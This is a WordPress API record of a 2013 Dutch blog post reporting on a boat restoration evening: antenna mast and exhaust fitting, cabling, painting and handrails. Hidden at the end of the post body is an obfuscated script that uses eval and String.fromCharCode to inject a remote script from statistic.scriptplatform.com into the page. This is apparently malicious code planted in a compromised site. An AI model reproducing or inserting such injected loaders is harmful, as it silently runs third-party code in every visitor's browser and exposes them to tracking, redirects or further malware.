{"id":6503,"date":"2013-01-06T18:39:04","date_gmt":"2013-01-06T17:39:04","guid":{"rendered":"https:\/\/www.kurtcarlsen.nl\/cms\/?p=6503"},"modified":"2013-01-06T18:39:04","modified_gmt":"2013-01-06T17:39:04","slug":"restauratiestatus-3-januari-2013","status":"publish","type":"post","link":"https:\/\/www.kurtcarlsen.nl\/cms\/restauratiestatus-3-januari-2013\/","title":{"rendered":"Restauratiestatus 3 januari 2013"},"content":{"rendered":"<p><strong>Restauratiestatus:<\/strong><\/p>\n<p>Donderdag 03-01-13 was de 2e inhaaldag. De bezetting wat met 6 man wat minder maar er is flink doorgewerkt.<br \/>\nOp de hoofdfoto zien we Ren\u00e9 met een kritische blik kijken naar de door hem gemonteerde VHF antennemast &#8211; nagemaakt naar het origineel &#8211; en de uitlaat. Ze staan verticaal niet helemaal in lijn, zoals zelfs op de foto te zien is\u00a0en daarom moest hij er weer af. Inmiddels staat het ding wel gelijk aan de uitlaat.<\/p>\n<p>Het afgewerkte lijstje -om het deze keer kort te houden- is als volgt:<\/p>\n<ul>\n<li>uitlaatdemper in de motorkamer gemonteerd aan het dak van de motorkap. Omdat het nogal een zwaar gevaarte is komt er nog een steun onder deze demper.<\/li>\n<li>stalen bordestrap nummer 2 in de grondverf gezet (Erik)<\/li>\n<li>voortgang in het aanleggen van bekabeling in de motorkamer (Hans)<\/li>\n<li>kabeldoorvoeren en voorbereidingen voor aanleggen bedieningskabels motor vanuit de stuurkuip (Cees en Ren\u00e9)<\/li>\n<li>bakskisten montage. Een\u00a0schot blijkt zo krom\u00a0dat hij opnieuw gemaakt moet worden (Cees)<\/li>\n<li>toegangsdeur motorkamer en hendels etc. afgeschilderd (Rinus)<\/li>\n<li>handrails tegen waterkeringsschot gemonteerd en gedeeltelijk afgebendeld (Henk en Rinus)<\/li>\n<li>roer opnieuw geschuurd (Henk)<\/li>\n<li>ogen op voorste doft passend gemaakt (Cees en Henk)<\/li>\n<\/ul>\n<p>Benieuwd naar de foto&#8217;s van deze avond, klik dan even <a href=\"https:\/\/www.kurtcarlsen.nl\/cms\/gallery\/3-januari-2013\/\">hier<\/a>.<script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Restauratiestatus: Donderdag 03-01-13 was de 2e inhaaldag. De bezetting wat met 6 man wat minder maar er is flink doorgewerkt. Op de hoofdfoto zien we Ren\u00e9 met een kritische blik kijken naar de door hem gemonteerde VHF antennemast &#8211; nagemaakt naar het origineel &#8211; en de uitlaat. Ze staan verticaal niet helemaal in lijn, zoals [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":6504,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0,"footnotes":""},"categories":[36],"tags":[],"class_list":["post-6503","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-algemeen"],"_links":{"self":[{"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/posts\/6503","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/comments?post=6503"}],"version-history":[{"count":4,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/posts\/6503\/revisions"}],"predecessor-version":[{"id":6508,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/posts\/6503\/revisions\/6508"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/media\/6504"}],"wp:attachment":[{"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/media?parent=6503"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/categories?post=6503"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/tags?post=6503"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}